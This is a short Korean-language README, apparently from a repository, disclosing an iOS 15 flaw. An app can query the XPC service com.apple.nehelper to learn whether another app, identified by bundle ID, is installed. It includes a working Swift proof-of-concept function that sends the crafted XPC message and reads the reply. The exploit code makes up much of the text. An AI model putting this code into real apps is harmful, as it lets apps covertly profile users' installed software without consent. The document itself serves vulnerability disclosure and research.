
iOS 15 0-day exploit (still works in 15.0.2)
Private API를 직접 사용하지 않도록 이 코드를 업데이트했습니다. 자세한 내용은 제 블로그 게시물에서 읽어보세요. 하지만 이는 이제 이 코드가 iOS 버전별로 다르고, 기기 모델별로도 다를 수 있음을 의미합니다. 따라서 기기에서 작동하지 않으면 c.c 파일의 오프셋을 다시 계산하고 업데이트하세요. 원본 코드는 direct 브랜치에서 찾을 수 있습니다.
이 취약점을 통해 사용자가 설치한 모든 앱은 bundle ID가 주어지면 해당 앱이 기기에 설치되어 있는지 확인할 수 있습니다.
XPC 엔드포인트 "com.apple.nehelper"에는 모든 앱이 접근할 수 있는 메서드가 있으며, 이 메서드는 bundle ID를 매개변수로 받아 일치하는 bundle ID를 가진 앱이 기기에 설치된 경우 일부 캐시 UUID를 포함한 배열을 반환하고, 그렇지 않으면 빈 배열을 반환합니다.
이는 /usr/libexec/nehelper의 -[NEHelperCacheManager onQueueHandleMessage:]에서 발생합니다.
func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
}